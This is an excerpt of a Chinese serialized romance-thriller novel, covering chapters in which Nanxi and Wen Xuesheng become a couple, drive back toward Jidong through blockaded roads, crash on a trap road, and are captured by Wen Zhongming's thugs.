南希却不在意,若无其事地收回手,插进外套口袋,眼里依旧含着笑:“小生生,是这样,之前在废厂房那儿,我发现看着你的那三个人里头,有两个是被人砸晕的。当时那儿没别人,所以下手的人只能是你,而你已经跑了。但你那身体……肯定跑不远,那你能去哪儿?最可能的就是想办法回市里,去找李管事。我就顺着往市里去的路,一路找你可能藏身的地方,然后就摸到了这个李家村。” 她踢开脚边的一颗小石子,“我们运气不错,刚进村就碰到了李伯。还好我这人眼尖,干我们这行的,就爱观察,我一眼就认出了李伯的那辆三蹦子。我们去厂房的时候,在路上遇到过他,只是当时急着赶路,没多想。” 温雪生脸上露出惊讶,打断她:“你说什么?我路上碰到的那辆车,是你?” 南希耸耸肩,无奈地埋怨:“可不是嘛!要不是你突然发疯,看也不看就上了那辆三蹦子,我早就接着你走了,哪还有后面这一堆乱七八糟的事?”她斜眼瞅他,语调拉长,“不是我说你,小生生,你连我的车都不认识了?” 温雪生的表情有些尴尬,但嘴上依旧倔强:“你开车喜欢开大灯,我被灯晃得眼睛都花了,就只能看见两团光,哪还看得清什么车?还有……切诺基又不是只有你一个人开,就算我看清楚了,也不敢赌。” 南希哼了声,没再接着反驳,想着给他留点面子,毕竟,要是把这家伙惹急了,什么跳车之类的混账事,他可都能干得出来。 于是,她把话题轻轻一转,引向一个她更在意的事情:“还有啊,小生生,你跟你爸……关系是不是真不太行?” 温雪生沉默了几秒,才犹犹豫豫地点了点头:“你为什么突然问这个?” “我就是觉得,”南希斟酌着用词,“你爸对你被绑这事儿,反应有点太淡了,淡得……让人觉得哪里怪怪的。” “没什么怪的,”温雪生想起他小时候的那次绑架,声音干涩,“他对我,一向这样。” 南希歪着头,盯着他的侧脸:“是吗?” 温雪生的身体颤了一下,很轻微,但他立刻又绷紧了肌肉,想把那瞬间泄露的情绪压回去,他不想让她看见自己脆弱的样子。 “这件事,我不想再说……” 南希见他这种反应,眼神沉了沉,脸上的笑意消失了,声音也变得阴阳怪气:“你跟那个欢大夫说的……该不会就是你跟你爸的事吧?” 温雪生一顿,嘴唇动了动,似乎想解释什么。 南希却不给他机会,直接打断:“等等,我不想听你说别的,我就想听这件事。你能跟一个陌生人说,为什么不能跟我说?” 说着,她突然踮起脚尖,整个身体倾向他。 她的脸凑得很近,温热的、带着她特有气息的呼吸,顿时拂过了他的唇瓣。 温雪生有些措手不及,下意识往后退了一步,脚后跟抵住了一堆扎肉的谷草。 “正因为她是陌生人,我才……” “别废话。”南希跟着逼近,不给他退缩的空间:“反正,我就是要知道。” 温雪生只能继续后退。 南希似乎很享受他的这副样子,紧追不舍。 两只游蛇般的小手,轻柔地覆上了他精瘦的胸膛。 两个人的鼻尖几乎要碰到一起,嘴唇若即若离。 南希压低声音,眼神挑衅又有些迷离:“你必须告诉我,否则……” 温雪生的呼吸明显乱了,胸口在南希的掌心下剧烈起伏。 他低垂着长长的睫毛,声音轻得像耳语:“否则……什么?” 南希用嘴唇若有似无地蹭着他,吐息也失去了节奏:“否则,我就在这儿把你……” 后面的话她没说出口,也不必说出口。威胁和暧昧搅在一起,在冰凉的空气里点燃了一簇危险的火焰。 他们的身体紧紧贴着,唇齿间的距离趋近于无,滚热的体温透过衣服间的摩擦,相互传递。 就在这时,一阵凌乱的脚步声,不合时宜地传来,紧接着是一声短促的惊叫。 像被针扎破的气球,周围紧绷又暧昧的氛围骤然破裂。 南希和温雪生受了惊,身体稍稍分开了些,但在旁人眼里,他们依旧是贴在一起的。 两人几乎是同时转过头,循着声音的方向望了过去。 黑暗里,借着微弱的月光,他们能看到瓦房旁边站着一个人。 那人眼睛瞪的很大,正用手捂着嘴。 是欢丫头。 她一只脚向前,另一只脚别扭地朝左,身体拧着,像是急着要离开,却没能来得及走掉。 夜色很深,但即便如此,南希还是敏锐地从欢丫头脸上,捕捉到,除惊讶之外,一些别的情绪。 她在心里叹了口气,彻底从温雪生身边退开了。 “欢大夫?你怎么到这儿来了?” 欢丫头慌忙放下手,可双手竟不知道该往哪里放,只能扭捏地交握在身前:“啊,刚才……你出了门,他,他说要去找你,就也跟着出来了。可是这么久了一直没回去,他身体还不行,我……我放心不下,就想着出来找找……” 南希飞快地瞥了温雪生一眼,原来他来是找她的……还真是个嘴硬的家伙。 她冲欢丫头回道:“你放心,我很快就带他回去。” “那就好……”欢丫头已经没有继续呆在这儿的理由,转过身,想要离开:“那我先……” “诶,别别!”南希赶紧追上去两步,“我们得跟着你,这地方长得都差不多,我不知道怎么回去呢。”她说着,回头指了指还站在原地的温雪生,“这位大少爷,估计也不知道。” 温雪生想反驳,却无话可说,他刚才光顾着找她,心里乱糟糟的,脚步也乱,确实没记住来时的路。 欢丫头没回身,背对着他们,点了点头,算是同意。 南希跟在她后侧,说:“谢谢啊,这次多亏有你,不然我俩说不定就在外面冻成冰棍了。” 欢丫头忙回:“不用谢……”然后就没了下文,似乎不知道再该说些什么。她默默地走在前面,南希和温雪生跟在后面,也没再说话。 就这样,三个人在璀璨的星空下,“哒哒”地走着。 欢丫头原本有些僵硬的身体慢慢松弛下来,她稍稍偏过头,目光不经意地往地上一瞥——月光将三人的影子拉得长长的,其中有两个影子并排着,他们的手紧紧相连在一起。 欢丫头心里一颤,身子跟着晃了一下,打了个趔趄。 南希反应快,立马伸手过去,稳稳地扶住了她的胳膊。 “小心点。” 欢丫头低声道了句谢,忍着心里的难受回过头,正好看到他们牵在一起、还没来得及分开的手。 她挤出一个笑容,声音有点发颤:“没想到……你们是一对儿……” 南希这才意识到,自己的手不知什么时候被温雪生牵住了。她的脸略略热了,下意识就想把手抽回来,哪想温雪生竟先她一步,使劲攥住了她,力道大得甚至让她觉得疼。 然后,温雪生抬起眼,目光平静地投向欢丫头:“嗯,她是我女朋友。” 女朋友? 南希彻底懵了。 这种感觉……怎么有点熟悉?好像没几个月前,她也曾这样不管不顾地对别人宣称过“他是我男朋友”。但她那是对着不相干的外人,为了应付场面。可眼前,这个欢丫头……她明明是对温雪生有意思的……他这样做,是不是太残忍了点? 欢丫头听后,表情明显不自然起来,眼睛迅速泛红,但她还是努力笑着:“嗯,这样啊……你们,很般配。”说完,她猛地回过头,好像深深吸了口气,再开口时,语气刻意变得轻快了些,“咱们还是快往回走吧,外面太冷了,病人可不能一直呆在这种环境里。”说着,她加快了脚步,与身后的两人拉开了一段距离,像是特意给他们留下独处的空间。 南希本想解释点什么,话到嘴边又停住了。 她望着欢大夫那虽然瘦小却挺得笔直的背影,以及那坚定有力的步子,忽然觉得,这姑娘比她想象的要强大得多。 这脾性,她很喜欢。 然后,她收回目光,恶狠狠地瞪向温雪生,确保前面的欢丫头绝对听不见:“喂,我是你女朋友吗?” 温雪生也侧过头来看她。 他很少这样毫不回避地直视她的眼睛。 所以,她也很少见到这样认真又完整的他。 衬着星河,他的右眼像是蒙上了一层水光,柔和且清亮。 南希听到了他肯定的回答: “嗯。” 心跳猛地漏了一拍,又重重地跳起来。 南希强撑着气势,问:“我……怎么就是你女朋友了?” 温雪生的目光没有移开,一字一句地回道:“我只允许,我女朋友,对我做那些事。” 第56章 输给他 温雪生的眼神太直接,太滚烫,南希率先败下阵来,仓促地移开视线,不敢再看他,但被他攥住的手,却没有试图挣脱,反而悄悄地,更紧密地回握了过去。 “你……”她看着脚下坑洼不平的土路,脸火辣辣的不舒服,脑子里尽是强迫他,蹂躏他,戏弄他的画面。起初他还会挣扎反抗,到了后面,他就已经束手就擒、任她摆弄,难受了便皱眉忍耐或者发出低低的shen吟。她原以为他是认了命,没想到竟是认了她…… 她…… “好,算,算是吧……”南希像是也认了似的,再次抬起头,颇有种恃宠而骄的蛮横感,“那你刚才也不应该那样跟她说!” 温雪生的目光转向前面,那儿有欢丫头固执且孤单的背影。 他望着她,声音平静却坚定:“我一向不喜欢模棱两可,不能给人确定的希望,却拖着不说,那才是最大的不尊重。说清楚,哪怕一时难堪,对她也公平。” 南希眨了眨眼,心虚起来。 他说的这些话,怎么感觉另有所指…… 果然,温雪生又重新看向了她,眼里的水波似乎更加荡漾:“我希望,你也能对我公平一些。” 老天爷…… 南希只觉得自己被他一步步带进了坑里,再也出来了…… “……怎么公平?”她只能明知故问。 温雪生挑起唇角,露出笑容,可这个笑,竟是冷的。 他本不打算这时候说这些,可天意弄人,竟话赶话把他堵在心里的事一步步赶了出来。 “怎么公平?”他的声音也冷了下来,“比如,你可以先回答我两个问题。第一个,你和张笑远是什么关系?” “哈?” 南希惊住,蹙起的眉眼明显是,她没听懂温雪生在说什么。 温雪生微微抿抿唇,眼睛里竟泛了红,火光般的红,可嘴上的弧度仍然冰冷:“那么,我换一个问法,那天在济大,你和张笑远站在我的教学楼前,都干了些什么?” 南希更加震惊,记忆短暂地回到了几天前,她想起张笑远跟她在教学楼前说话,本来好好的,他却突然把她引到了教学楼的侧门,那时候,他的模样好像有些的不自然…… 她顿时恍悟。 张笑远曾多次告诫她,离温雪生这个Black社会大佬的儿子远点,所以也付诸到了行动上。哪想他当时一个看似不经意的举动,竟酿成了现在难以收拾的困局。 可这事解释起来太复杂,南希讪讪笑道:“小生生,我觉得,我可以先回答你的第二个问题。” 温雪生睫毛一闪,竟笑了:“好,那你听好,我的第二个问题是,你以后,真得会让我永远跟着你吗?” 听完,南希不禁张开了嘴,心中掀起万丈涛浪。 呵,竟又回到了原点。 不过也是……对她来说,第一个问题的答案已经十分艰难,第二个问题又怎么会简单? 但她转瞬又释然了,她还真是上了贼船,然后再也拿船长没有办法。是情势所迫,又不是她自己举双手认输,她不丢人。 想通后,心里的变扭消散了。她轻轻拉起温雪生的手,踮脚,把双唇送到了他温顺的鬓角处:“我和张笑远只是朋友。还有……” 舌尖顺势探出,沿着鬓角,在那已经发热发颤的耳垂上舔了一下,如蜻蜓点水,一触即离,却洒下火种,野火燎原。 温雪生战栗着,猛地搂紧了她的腰。 南希第一次感受到他这样强大的力气,她挣脱不得,或者,她根本就不想挣脱。 她看到他眼底的水波已经泛滥成灾,直冲出眼眶,可还没等她分辨那到底是自己的幻觉,还是他真实的泪水,对方柔软的唇瓣已经覆了上来,让她下意识闭上了眼睛。 因为,刚刚,就在她蹭过他耳畔的刹那,还留下了另外一句话: “你想跟着我,就跟着吧。” 唉,心里那无数次堆砌起的理智沙垒,终究不堪感性的潮涌,一朝倾颓。 迷恋的模样是他,满意的身体是他,想要马上见到的是他,令她牵肠挂肚、心酸委屈的是他,相伴而行、为之心荡神驰也是他…… 她好像……真的,真的,有些喜欢输给他呢…… * 大概七八分钟后,土屋诊所的木门,“吱呀”一声被推开了。 挂在天花板上的灯泡随风闪动了一下。 欢丫头先进的屋,表情很是不自然。 紧接着,南希和温雪生也跟了进来。 人还是那两个人,位置也还是隔着半条胳膊那么远,但屋里的孙红孙紫,甚至是张笑远,几乎是立刻,就发现他们跟出门前不一样了。 这两人之间,没有眼神交流,肢体更是碰都不碰,可他们一前一后走过,那一片的空气仿佛都黏稠温热起来,泛着说不清道不明的粉红气泡,把诊所里原本的草药味都挤到了一边。 孙红和孙紫交换了一个眼神,眼里闪过诡异的光。然后,孙红先开了腔,声音拖得有点长,跟用羽毛尖儿搔人的耳朵根似的:“哎呀呀,这李家村的风就这么醉人?我看欢大夫头发都没乱,可她后面那两位身上,倒是沾了不少‘仙气儿’啊。” 孙紫立马接上,她故作正经地拿起桌上的旧搪瓷缸子摩挲着,眼风却斜斜飞过去:“可不嘛,他们去了快一个小时了,按说这时间,都够把这李家村绕三圈,然后再坐下来好好探讨一下人生理想了。姐,你觉不觉得,这屋里头,突然就有点热了?” 温雪生听着,眼皮都没抬一下,只当是耳边刮过一阵风。他面无表情地走到墙边,抱起胳膊靠在那里,周身散发着大少爷独有的“生人勿近,熟人也滚远点”的冷气。 南希可没他那么好欺负,她眉毛一挑,在脑子里搜刮到一句能堵住这对双胞胎的嘴、反将一军的话,唇角登时浮现出一抹带着杀气的笑,只是这笑还没完全绽开—— 哔哔哔——哔哔哔—— 一阵急促的铃声就突然响了起来。 是张笑远的大哥大。 张笑远从兜里掏出那块“黑砖头”,放到耳边:“喂?” 然后,电话那头传来了声音。 他脸上的松弛感随之一点点消失,眉头逐渐锁紧,嘴角向下弯成一个严肃的弧度。 孙红孙紫,以及南希,都是作战丰富的老手,张笑远的反应让她们立刻感受到一种强烈的危机。 而这种危机感也传染到了温雪生和欢丫头,一时间,所有人都停下了手中的动作,连呼吸都放轻了,整个诊所只剩下大哥大里细微的嗡嗡声,和张笑远回应声。 只见他对着话筒,断断续续地说: “……知道了……” “他现在在哪?” “……好……” “让老宫多留意下……” 电话那头似乎确认了一句什么,张笑远略显不耐地皱了下眉:“就是老公宫啊,宫教授。” “……好,好好,我下次注意……” “放心,我们这就行动。” “再见。” “咔”的一声,他摁断了通话。 孙红一个箭步跨到他面前,问:“是白先生?” 能一个电话就让张笑远露出这种表情,并且还做出某种决定的,在整个破晓里,只有那位能窥天机的白先生了。 因为他的话,一向准得邪乎。 张笑远点了下头:“是。” 旁边的孙紫脸色已经变得难看,声音又急又尖:“你可别吓我啊,白先生又算出什么了?” 张笑远的目光扫过屋内每一张脸,沉声回:“白先生为我们要走的路,起了一卦,得反吟局,主事体反复,变动不宁,波诡云谲,阻碍迭起。白先生说,此行必多波折,须当机立断,或可化险为夷,转逆为顺。”他顿了顿,喉结滚动了一下,“另外,白先生还说,卦象显示,局中一人已陷困顿,恐有血光之厄,然而,亦有一人,身具扭转乾坤之能,可力挽狂澜于既倒。” 南希蹙眉:“说人话。” 张笑远:“……” 这时,温雪生疾声插嘴:“他的意思是卦象反复,需要我们尽快做出决定,因为有一个人陷入了危险,还有一个人,或许能改变这个局面。” 他边说边攥紧了拳头,指甲深深陷进掌心。 其实,从那棵老榆树下离开后,他心里就一直梗着块石头。 李管事血淋淋的双腿,喘息不定的胸口,和他奋力吆喝着“快走”的脸……他都不敢细想,只能强行告诉自己,会没事的,那可是刀疤脸李大发! 可是现在,这该死的卦象,就如同一把冰冷的锥子,精准地刺破了他自欺的伪装。虽然他向来不信这些神神叨叨的东西,但心口还是隐隐发颤,脑海里那些凄惨的画面,再次翻涌上来,带着浓重的血腥气。 张笑远看了眼温雪生,肯定了他的解释:“没错,情况紧急,救人要紧,所以现在,我决定……” 温雪生低着头,内心翻滚不止,根本没没听到他说了什么。 卦中受困,血光之灾……这说的,肯定是李管事…… 那么,能在温重明那龙潭虎穴里力挽狂澜的人,就只有…… 不等张笑远把“决定”后面的计划说出口,他猛然抬起了头,一字一顿: “不等了!今晚就回济东,我去找温四!” 第57章 引路 光源大厦三十九层。 这是光源大厦的次顶层。 深灰色地毯延伸至整面落地窗,窗外铺展着城市夜晚特有的霓虹。 一位中年男人坐在宽大的黑皮沙发上,落地灯的暖光拢着他,映出了他温润的面孔。 他带着厚重的老花镜,正在看书。 看得入迷,似乎已经忘了自己左手还夹着雪茄。 那雪茄就静静地燃着,烟灰将落未落。 嘭,嘭,嘭。 这时,房间里荡起三下敲门声,很轻,一听就知敲门的人十分小心。 他没抬头,淡淡地回了一个字:“进。” 然后,门被缓缓推开,一个穿职业装的盘发女人,踩着高跟鞋出现在房间。 可他仍然低着头看书。 那女人见他没有说话的意思,便主动开了口,开始做一些工作上的汇报。 他好像对汇报的内容很满意,听到一半的时候终于抬起头,嘴角含着淡淡笑意。然而,偏是这含笑的面容,让整个空间都凝固了。 女人咽了口唾沫,紧张地把剩下的内容快速汇报完,然后退出了房间。 他已没兴趣看书,合上书皮,把烟灰弹掉,走到了落地窗边。 霓虹灯不知什么时候已经灭了。 一道金色光线刺破黑暗,从地平线下四射开来,映亮了灰蒙蒙的城市。 而他立在那光线之巅,腰背直挺,如同这座城市的主宰者。 主宰者俯视万物,深深地抽了口雪茄,然后在心里默念道:“100,99,98……” 当这些数字倒数至个位—— ——“9,8,7……” 光源大厦脚下,警笛声由远及近,下一刻,三辆蚂蚁般大小的警车,在晨光中疾驰而过。 他一挑眉梢,又吸了口雪茄,接着往下倒数:“6,5,4,3——” 数字就快要接近0,这时,他突然一扬手,把雪茄重重地按到玻璃上,用力碾灭。 透亮的玻璃立马印出一道漆黑的斑点,像块丑陋的疤。 雪茄头掉落在地,只是掉落的声音被地毯吸了个干净。 然后,他慢慢地转过头,视线越过黑沙发,越过空旷的办公室,钉在不远处的双开门上。 “2,1……” 100个数字倒数完毕,周遭却一切如常。 整个过程,似乎除了那已经听不见的警笛,再没有任何特殊的地方。 也是,在这座并不算特别繁华的城市,在这六点不到的大清早,又能发生什么特殊的事情呢? 可他的眼底还是闪过了一丝失望,毕竟周围的人都说他运筹帷幄,决胜千里,料事如神,张良再世,他预料到的事,又怎么能不发生? 他有些愤懑地走到红木办公桌前,一把提起了电话听筒。 几乎同一时间,一道沉重的“咣当”声在耳边炸响,他惊了一下,猛然回头,与刚破门而入的男人视线相撞。 “你……” 他微微张嘴,眼珠极速转动,似乎不太相信眼前的景象。 “郑司令?!” * 切诺基在省道上狂奔,夜色的帷幕笼罩着四野,只有车头那两盏大灯,顽强地抵抗着前方的黑暗。 去找温四的路,从一开始就注定了不会顺利。 正像南希他们所料想的那样,温重明为了抓到温雪生,动了真格。他亮出了这些年藏在暗处的所有家底,那势力的庞大程度,甚至隐隐压过了他的老大温四爷,而他精心培养的手下像张无形的巨网,铺天盖地般地,在济东撒了开来。 这情况让远在据点的宫教授头痛欲裂。他守着晃眼的电脑,试图通过不发达的网络,监控局势,可屏幕上的光点乱窜个不停,他完全无法掌控。 走街串巷收集信息的小乞丐们,平日里像蚂蚁一样高效,这会儿面对爆炸般涌出的信息,却根本收集不过来。更糟的是,有几个小子差点暴露身份,险些被那无形的网给粘住。 就连依靠信徒探寻线索的释行和尚,也被这突如其来、弥漫全城的乱象,搅得心绪不宁,在心里念了一晚上阿弥陀佛。 于是,他们提供的情报也只会是糟糕的。 切诺基后座,张笑远别在腰间的 BB 机接连震响,像催命符似的。他掏出来,三条信息依次跳入眼帘: 03:15:凤凰路发生混乱(来自宫教授) 03:19:长乐街上打起来了(来自小乞丐) 03:21:避开金山街(来自释行和尚) 张笑远的眉头逐渐锁紧,到最后几乎拧成了一个疙瘩。他一撇嘴,拿出那块沉甸甸的大哥大,按下号码。 听筒里传来电流杂音,与车身的噪音混合在一起。 “老宫,什么情况?”一接通,他就着急问。 电话那头的语速也同样着急,甚至顾不上纠正“老宫”的称呼:“还能什么情况,事态失控了!短短一个小时,市里各个角落都冒出了温家的人,别的不说,我刚给你发过去的凤凰路,那儿直接被几辆横着停的大卡车给堵死了……” 正在开车的南希隐隐听到了些碎片声,双手紧握方向盘,眼睛往后瞥:“诶诶,怎么了?” 张笑远心里乱,没说话,直接把 BB 机从后面递了过去。 坐副驾的温雪生转身接过来,就着光,一字一顿地把上面的信息念了出来。 “靠!” 没等听完,南希就忍不住一巴掌拍在方向盘上。切诺基立刻发出一道短促而愤怒的鸣笛。 “三条路都给堵死了?那咱们还能走哪儿?!” 没有人回答。 沉重的静默压在每个人心头。他们都很清楚,想从目前的位置返回济东,凤凰路、长乐街、金山街是三条最主要的通道,也是必经之路。可是现在,所有的通道都被切断了。 希望,也被切断了。 然而,在这种情况下,南希非但没有减速,脚下反而加重了力道。 切诺基的引擎发出一声低吼,车身因突然的加速而震动起来。 “你疯了?!”后座的孙红失声叫道。 孙紫也紧张地抓住了前座的靠背:“开那么快干嘛?” “干嘛?”南希的嘴角扯动了一下,“到了现在这份上,当然是只能快走喽。慢吞吞的,不就是随了温重明那混球的愿了?” 她声音里透着点满不在乎的劲儿。她一向如此,局面越棘手,她反而越镇定,因为慌乱屁用没有。只有,那一次例外……她极快地扫了眼身旁的温雪生,心里某个地方像被羽毛极轻地挠了一下。 然后她迅速恢复常态,继续说:“我还偏不想让他得逞。” 可是南希不在乎,有人在乎。孙紫疾声说:“可这样下去,我们几个很快就会跟他们那群Black社会正面撞上,这跟送死有什么区别?!” 南希慢悠悠的,腔调有些气人:“冷静冷静。这不还没到地方吗?我们还有时间想想接下来到底该走那条路,拐哪个弯儿。放心,天无绝人之路。” 就在最后一个“路”字刚从她口中蹦出来的刹那,一直沉默的温雪生突然开了口,声音不高,却像投入死水的石头般沉重:“我想起一个地方,咱们或许可以绕去市里。” 其实,从踏上返回市区的省道开始,一种模糊的熟悉感就在他心底盘旋。他感觉这条路他走过,可是,是在什么时候呢?他被关在温沙城堡里太久了,上一次接触到外面的世界,还是很多年前被绑架的那次…… 对了,就是那个时候。 温四把他救出来,他因为惊吓和药物的作用半躺在车后座,浑身无力。所有人都以为他昏迷了,其实他还残存着一丝意识,像游丝般细微。他隐隐听到温四压低声音对司机吩咐,说不要引人注意,走一条他们的人已经清理好的小路,那条路在…… “那地方在……”温雪生依照记忆里的对话,组织起语言:“在,长乐街和金山街之间。” 长乐街和金山街之间。 这是他拼命撑开一丝眼缝,看到司机选择的路线。 只是,十几年光阴流逝,沧海都能变成桑田,这条隐秘的小路,还会在吗?会不会早已被高楼大厦吞噬,或者被新的规划抹去? “我来指路。”温雪生的目光投向车窗外。 远处地平线的位置,城市的霓虹在天边涂抹出淡淡的光晕。 他的眼神逐渐变得坚定。他从小记忆力超群,诗词歌赋读两遍就会背诵,见过的人和事几乎都烙印在脑子里。现在,脑海里那原本朦胧的路线图,在压力的催化下,竟一点点清晰起来。 既然如此,他决定赌一把。 “前面,那棵大树看见没?右拐。”温雪生的声音平稳。 “左,贴着那排破围墙走。” “直走,别管那个小岔路。” 随着他一句接一句的指引,南希操控着切诺基,在越来越狭窄、越来越昏暗的路上左拐右拐,最终车头一沉,拐上了一条真正的土路。 这路活脱脱就是李家村那种路的翻版,路面没有任何照明,黑黢黢的一眼望不到头,宽度仅容一车通过,坑洼不平,让车子不断发出吱嘎的声响。 一拐进来,温雪生那些陈旧的记忆,就像被涂上色彩的黑白照片,骤然鲜明起来。这条路……竟然跟他儿时见到的,一模一样。 同样的土质,同样的狭窄,同样的荒凉与死寂…… 只是…… 十几年了。 一座城市疯狂扩张的十几年,一条位于城市边缘、可能连通着重要区域的小路,怎么可能维持着原来的样子?! 车上其他人,却因为他成功指引出一条能通往市区的路松了口气。一时间,车内充斥起劫后余生的喜悦。 张笑远抹了把额头的汗,孙红孙紫小声嘀咕着“有救了”。南希在旁边,嘴角弯起,声音轻松:“可以啊,小生生,你这脑子,比地图好使!” 温雪生机械地点了点头,心里没有丝毫欣喜,反而被一种巨大的、冰冷的阴影彻底笼罩。 不合理,也不科学。 这就像是一个精心布置的舞台,道具十几年不变,只等着特定的演员上场。 而且,万分危险! 这事一定有蹊跷! 他侧过身,一把抓住南希的胳膊,力道之大,让她吃了一惊。 “停下!”他颤抖着喊,“别开了,快停下!” 南希刚浮出的笑容瞬间冻结。她一歪头,脸上写满了茫然:“怎么了?这路不是对……” 然而,就在这电光火石之间—— 后座的张笑远瞳孔骤缩,发出一声嘶哑的大吼:“小心!!!” 话音未落。 咔嚓——嘣! 一声沉闷且巨大的断裂声从车底传来,伴随着金属扭曲的刺耳shen吟,所有人只觉得身体一轻,然后不可抗拒地向前冲去! 安全带狠狠勒进肉里! 失控的切诺基,车头朝下,像一只被陷阱捕获的野兽,带着一车人的惊愕与未喊出的尖叫,轰然摔进了不知深浅的黑暗。 尘土腾起,吞噬了最后一点光亮。 第58章 逃亡 摔进沟里的切诺基,像个被揉烂了的铁皮罐头,歪斜地杵在沟底。 “这边,多来几个人,快来,这个门打不开了!” 几道手电光柱在残骸上乱晃,人影幢幢。 有人开始用家伙砸变形的车门。 咣咣咣! “别砸啊,越砸越开不了!”另一个声音着急地喊。 “来,我喊一二三,咱一块使劲儿!”一个好似领头的人扒住了车门的缝隙。 “一!” 嘎—— 金属发出令人牙酸的shen吟。 “二!” 吱—— 缝隙似乎大了一点儿。”三!” 咔——咔——咔! 一连串断裂的脆响,车门终于被硬生生扯开,带起一片烟尘。 南希咳嗽了几声,鼻腔被一下子涌进车厢的尘土呛到。 头好痛…… 身体动不了…… 肋骨处火辣辣的,每一次呼吸都有灼痛的感觉,好像是骨折了…… 怎么搞的?…… 哦,她想起来了。 刚才她开着切诺基,夜太黑,路况也差,前面突然出现的大沟她根本没看到…… 车子以将近100迈的速度,一头栽了进去! 100迈啊! 没有粉身碎骨,她竟然还活着?! 这算运气好还是不好? 对了,小生生!他怎么样?!他坐在副驾! 还有张笑远,孙红和孙紫…… 她忍着疼痛,勉强睁开仿佛被黏住的眼缝儿。 这时,一道强光射了进来,耀得她又立马闭上了眼。 脑袋像炸了一样,嗡嗡作响,然后,她的意识再次陷入了恍惚。 “快快快,就是他,温大少!”几个黑影挤到副驾那边。 “死了没?” “不知道啊,身上都是血!” “把他弄出来!” “不行啊,他的腿卡住了,得先弄旁边那个!” 小生生…… 南希心里一颤,她动了动手指,想要抓住旁边那个模糊的身影,确认他的存在。忽然,耳边感觉到一阵风刮了过来,是有人靠近,然后又飞来一阵尘土,接着,一股强横的、不容抗拒的力气箍住了她的上半身,把她从扭曲的驾驶座上往外拽了出去。 她觉得自己轻飘飘的,然后又重重地跌落,再然后,只觉得浑身上下无处不疼,肋骨处的痛楚更是尖锐得让她快要晕厥。 两个穿着黑衣服的壮汉,一言不发,一人一边架起她的胳膊。她的腿软绵绵地拖在地上,在干燥的土路上划拉出一道清晰的血痕。 他们把她拖到离大沟几米远的路中央,像扔垃圾一样撒了手。 而她头朝下趴着,尘土的气息混杂着血腥味冲进了鼻子。 然后,耳边又响起了人声。 这个声音赖叽叽的,拖着长腔,透着一股刻意的嚣张。 她好像在哪里听过…… “呦,你们倒挺够意思,把这对鸳鸯都给弄出来了啊!”那声音停顿了一下,似乎在打量,然后继续,“诶,跟他们一块的那仨能打的呢?” “嘿嘿,回老大,那仨早咽气了!”一个谄媚的声音立马回,“您放心就成,都压车里了!” 南希的心一下子跌到了谷底。 她清楚,他们说得那仨是指“破晓”的张笑远,孙红,还有孙紫。 咽气……他们都死了吗? 几个小时前,张笑远还在意气风发地指挥破晓成员,孙红孙紫那对双胞胎还在从容地检查装备……他们的模样,如此鲜活生动…… 死? 怎么可能? 她不相信! 南希紧紧攥住了五指,在手心里抓起一把干硬的土。 她心里有愤怒,只有愤怒。 愤怒像野火一样烧遍全身,烧尽了本应该有的悲伤。 “呦,还有力气呢?拳头握得这么紧?想揍谁呢?” 这时,那个赖叽叽的声音又响了起来,随之而起的还有一阵不紧不慢的脚步声。 那脚步砸在地上,因为南希也趴在地上,所以她感觉那脚步正一震一震地向自己逼近。 不过她没有丝毫害怕。 害怕没用,她不打算放弃任何逃生的希望,哪怕希望看起来十分渺茫。 她屏气凝神,通过耳朵分辨周围的状况。 她旁边有道不稳的喘息,那应该是温雪生,他和自己一样,正趴在地上。 除了温雪生,周围应该还有六七个打手。他们在她身后,像是排了一排,正沉默地站着。 然后,她又飞快地估计了下自己还剩下的力量。 她的肋骨肯定断了,但是胳膊和腿,忍着剧痛似乎还能动。 最重要的是,她的脑子已经清醒。 于是,一个粗糙但直接的计划迅速形成: 等那个脚步走到她身前,走到足够近,她就探身抱住他的脚腕将他撂倒,然后撑地甩身,利用惯性把手里的土扬起来,撒进身后那一排打手的眼睛里,接着,再用不太疼的那条腿,把他们扫倒在地。当然,这些动作一定要快,只有快才能出其不意,才能先发制人。 如果一切顺利,如果她还有力气,完成这些后,她会扛起温雪生,尽可能向身后的黑暗里逃。 至于能逃多远,逃到哪儿,不是她现在该想的,她只需要尽力去做,如果要死,她也得在反抗中死,不能像待宰的牲口一样。 做好这个决定,她的心里不再有任何涟漪,像结了冰的湖面,只等着那个脚步慢慢逼近。 一步,两步,三步…… 就是现…… 然而,那个脚步竟又迈出了第四步,第五步,第六步…… 对方根本没有走到她身边!反而越来越远! 脚步声最终停在了距离她两米远的位置上。 一双锃亮的皮鞋尖出现在她模糊的视野边缘,正对着温雪生的脸! 那脚步的主人垂下头,露出了他跟猴子一样的眼睛,是温重明。 他冷漠地看着地下软成一滩,却紧握着拳头的男人,然后一把揪住他的衣领,把他上半身提离地面,几乎是贴着他的耳朵说:“喂,说你呢,我的好弟弟,你把拳头握这么紧,难道是要把它挥向你的好哥哥我吗?!” 话音未落,后面的一个打手像是接收到了无声的指令,突然上前一步,熟练地抓住温雪生的胳膊,双手用力,反向一折。 只听“嘎嘣”一声,那胳膊瞬间成了个不自然的直角。 刚才还紧攥的拳头随之不自然地松开,无力地垂落了下去。 温雪生喉咙里发出一声压抑到极致的闷哼,硬是没惨叫出声。 温重明嘴角一勾,伸手拍打他的脸。 温雪生沾着土的长刘海随着温重明的动作一甩一甩,那因疼痛而涨红的面孔便一会儿露出来,一会儿又隐没在刘海投下的阴影里。 温重明阴笑着说:“诶呀,我的雪生弟弟啊,我怎么不知道,你这个从小娇生惯养的大少爷这么能忍啊?”他斜眼瞟了下地上的南希,“难不成,是为了你这相好的?怕她听到你的叫声心疼啊?” 温雪生的身体隐隐颤抖,不知是因为痛苦还是愤怒。 可温重明见了,笑得更肆意,声音在空旷的野地里显得格外刺耳:“哎呀呀,看来我猜对了,真是感人,都快把我感动哭了……” 噗—— 温雪生猛地抬起头,一口混着血水的唾沫,狠狠啐在温重明的脸上。 温重明的视线变红了,他松开抓温雪生的手,抹了把脸,看着指尖的猩红,再看向掉在地上,神情愤怒的男人,竟然露出一种很享受的样子:“呵……好啊,多么熟悉的感觉,还是那个没把我当人看的大少爷……” 然而,他的脸转瞬又变沉了,声音也霎时冰冷,“呵,这些年我在你们家忍气吞声,当牛做马,可是你们从来都不在乎,尤其是你,温雪生!你以为你是谁?成天摆着张高贵的脸给谁看?你不就是一个害死自己亲妈和亲哥哥的混……” 剩下的话还没来得及讲,突然,他感到脚踝被一股强力绊了一下,那力量来得迅猛且精准,让他整个人重心不稳,惊叫着向后栽去。 倒下的瞬间,他眼角的余光瞥见了惊奇的一幕。 